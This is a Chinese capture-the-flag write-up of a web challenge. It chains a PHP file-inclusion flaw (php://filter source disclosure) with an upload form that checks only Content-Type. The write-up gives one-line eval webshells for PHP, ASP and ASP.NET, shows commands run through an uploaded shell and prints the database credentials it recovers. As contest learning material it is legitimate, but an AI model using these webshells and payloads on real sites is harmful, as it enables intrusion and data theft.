CTF-i春秋-Web-文件包含漏洞、文件上传漏洞-Do you know upload?-第三届“百越杯”福建省高校网络空间安全大赛
2020.09.21
经验教训
- 文件包含漏洞,想到
php://input
和php://filter/read=convert.base64-encode/resource=index.php
- 中国菜刀支持的一句话
<?php @eval($_POST['pass']);?>
ASP: <%eval request("pass")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
Do you know upload?
https://www.ichunqiu.com/battalion
- 打开链接,查看源码,发现提示消息,看起来是文件包含漏洞,想到
php://input
和php://filter/read=convert.base64-encode/resource=index.php
- 构造payload,查看index.php源码,
- base64解码后如下,只贴php部分
<?php
include($_GET['file']);
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);
if(@isset($_POST[submit])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))){
if ($_FILES["file"]["error"] > 0){
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}else{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
//echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}else{
echo "<script>alert('文件类型不允许')</script>";
echo "Invalid file";
}
}else{
// echo "Invalid file";
}
?>
- 以我的分析,他只是过滤了文件type,这个应该通过修改content-type就能改,试试
- 果然,只修改了一个参数就成功上传了
- 我们尝试访问上传的php文件
upload/decry.php?qwk=whoami
,访问成功
-upload/decry.php?qwk=ls ../
,发现config.php
upload/decry.php?qwk=cat ../config.php
,想看看有啥内容,竟然是空白的,这里不给看,但是爷有的是办法,用之前的文件包含漏洞🤓
?file=php://filter/read=convert.base64-encode/resource=config.php
,成功得到内容,转码后如下,看桑去我们的到来数据库的密码,该怎么利用呢
<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$database = "ctf";
// 创建连接
$conn = mysql_connect($servername,$username,$password) or die(" connect to mysql error");
mysql_select_db($database);
?>
- 不知道怎么来操作数据库,本来想用中国菜刀,但是不知道为啥,菜刀一直连不上,那只能想点别的办法了,
- 原来是这样,菜刀支持的一句话是这样的`<?php @eval($_POST('qwk')); ?>`,我多加了一个echo……
- 根据之前得到的config文件内容配置菜刀
<T>MYSQL</T>
<H>localhost</H>
<U>ctf</U>
<P>ctfctfctf</P>
- 配置成功了但是数据库里啥也没有,难不成被人删除了???
开心就完事了🥱
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!